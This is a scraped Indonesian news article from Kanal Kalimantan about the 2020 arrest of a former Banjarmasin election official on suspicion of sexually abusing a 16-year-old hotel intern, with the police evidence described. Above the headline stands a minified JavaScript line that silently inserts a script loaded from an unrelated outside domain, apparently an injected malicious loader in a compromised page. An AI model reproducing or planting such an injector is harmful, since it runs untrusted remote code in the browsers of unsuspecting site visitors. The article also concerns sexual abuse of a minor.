(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dari HP, Flasdisk, hingga Rekaman CCTV, Bukti Kuat Gusti Makmur Lakukan Aksi Pencabulan


KANALKALIMANTAN.COM, BANJARBARU – Ditetapkannya mantan Ketua KPU Banjarmasin Gusti Makmur sebagai tersangka kasus pencabulan remaja berusia 16 tahun, membuat geger masyarakat. Kurang lebih 3 jam menjalani pemeriksaan pada Kamis (30/1/2020) pagi, akhirnya Gusti Makmur harus merasakan dinginnya sel tahanan.

Dalam kasus ini, Polres Banjarbaru mendapati sejumlah barang bukti yang menguatkan penanahan tersangka. Di antaranya baju korban, handphone (HP), flasdisk, juga rekamam CCTV di Hotel Grand Dafam Q Hotel.

Kapolres Banjarbaru, AKBP Doni Hadi Santoso mengatakan, diamankannya HP maupun flasdisk milik tersangka, lantaran terdapat dokumentasi yang menunjukan aktivitas tersangka tanggal 25 Desember 2019, tepat saat melakukan aksi asusila tersebut.

“Seperti yang diketahui, aksi pencabulan ini terjadi di toilet Grand Dafam Q Hotel. Nah, di handphone dan flasdisk yang kita sita ini, terhadap dokumentasi yang menunjukan tersangka sedang berada disana pada tanggal 25 Desember itu,” kata saat pers rilis, Kamis petang.
Kehadiran Gusti Makmur di Grand Dafam Q Hotel, memang sebelumnya telah dibenarkan oleh kuasa hukumnya sendiri, yakni Dian Corona. Diakui Dian, kliennya datang pada tanggal 25 Desember 2019, demi menghadiri rapat koordinasi (Rakor) MUI se Kalsel, yang digelar selama 3 hari.

“Benar, klien kami berada di Grand Dafam Q Hotel pada tanggal 25 Desember 2019. Dia di situ dalam rangka menghadiri acara rapat koordinasi MUI se-Kalsel,” akunya.

Pun, yang lebih menguatkan lagi ialah rekaman CCTV di lobi hotel. Tentunya, lewat rekaman CCTV hotel, akan memperlihatkan aktivitas pengunjung atau tamu yang keluar masuk toilet hotel pada hari itu. Maka dengan begitu pula, penyidik mendapati bahwa Gusti Makmur memasuki toilet hotel dan melakukan aksi pencabulan terhadap pria yang sedang magang saat itu.

Terkait penahan ini, kuasa hukum Gusti Makmur telah mengajukan permohonan penahan kota terhadap kliennya. Sementara itu, pihak Kepolisian sampai saat ini masih melakukan penyidikan terkait motif pencabulan yang dilakukan eks Ketua KPU Banjarmasin tersebut. Tidak hanya itu, Petugas Kepolisian juga masih mendalami kasus ini dengan kemungkinan adanya korban lain.

Nampak, Gusti Makmur sendiri hanya bisa mengangkat wajah saat dirinya digiring oleh pihak kepolisian. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell

 


Desy Arfianty

Recent Posts

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

40 menit ago

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

2 jam ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

3 jam ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

4 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

4 jam ago

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

5 jam ago

This website uses cookies.